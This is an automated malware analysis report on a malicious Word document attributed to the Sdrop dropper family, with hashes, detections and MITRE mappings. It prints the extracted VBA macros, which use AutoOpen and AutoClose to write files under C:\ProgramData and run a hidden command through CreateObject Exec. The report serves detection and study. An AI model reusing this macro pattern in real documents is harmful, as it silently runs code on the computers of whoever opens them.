Sdrop Office (OOXML) malware analysis — malicious · 3b08b4bd50b5ff08

MALICIOUS

Office (OOXML)

380.2 KB Created: 2020-08-11 10:03:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-04

MD5: 217bddb8f31df3e3c0ec0c878332d5d3 SHA-1: fa84054fb7ff4e3ce58a58019aa09f2ca83e9d9c SHA-256: 3b08b4bd50b5ff08469fbae79d89eb78b6ff6ea4c6cd79dbded121806279e0da

238 Risk Score

Malware Insights

Sdrop · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro writes arbitrary content to a file named 'ijfuihifuifhuiuifggfyi.Tag' in the 'C:\ProgramData\Kerpok' directory. This behavior is indicative of a dropper, likely intended to download and execute a second-stage payload, consistent with the Sdrop malware family.

Heuristics 7

ClamAV: Doc.Dropper.Sdrop-9764266-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Sdrop-9764266-0
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set Hateriklahtduehhdfegtr = CreateObject(ijfuihifuifhuiuifggfyi.Caption)
Hateriklahtduehhdfegtr.Exec Bikoter.DefaultTargetFrame

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Private Hateriklahtduehhdfegtr
Sub autoopen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
End Sub
Sub autoclose()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12971 bytes
SHA-256: `4bcad9f8b0acd297588530cab36c49853fdafa5b0afb149afa6a54cc72d7f3d6`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Bikoter" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Montag" Private Hateriklahtduehhdfegtr Sub autoopen() Open "C:\ProgramData\Kerpok" & ijfuihifuifhuiuifggfyi.Tag For Binary As #1 Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Put #1, , " " Put #1, , " You can even edit entries faster, as you don't have to manually browse the confusing tree database. And you get the flexibility of being " Close #1 Application.Quit SaveChanges:=False End Sub Sub autoclose() Open "C:\ProgramData\Portes" & ijfuihifuifhuiuifggfyi.Tag For Binary As #1 Put #1, , " '9789789 '679679679 " Put #1, , " '7568967735241 " Put #1, , " '1242354686796 '235423523 " Put #1, , " '9789789 '679679679 " Put #1, , " '7568967735241 " Put #1, , " '12423 54686796 '235423523 " Put #1, , " '9789789 '679679679 " Put #1, , " '756896 7735241 " Put #1, , " '1242354686796 '235423523 " Put #1, , " '9789789 '679679679 " Put #1, , " '75689677 35241 " Put #1, , " '12423546 86796 '235423523 " Put #1, , ijfuihifuifhuiuifggfyi.jnfddnfdfdfusdhfshfgfh.Caption Close #1 Set Hateriklahtduehhdfegtr = CreateObject(ijfuihifuifhuiuifggfyi.Caption) Hateriklahtduehhdfegtr.Exec Bikoter.DefaultTargetFrame End Sub Attribute VB_Name = "ijfuihifuifhuiuifggfyi" Attribute VB_Base = "0{60F24CAB-9E62-449A-AE7B-E2CB2ED1EA32}{07AB9651-2CE8-4D47-BF10-6ABB737ED0A2}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	179200 bytes
SHA-256: `26687b70cd6b12db194520d413f0e82ac1869676bebd63d5e4c728f0d235982b`
Detection ClamAV: Doc.Dropper.Sdrop-9764266-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.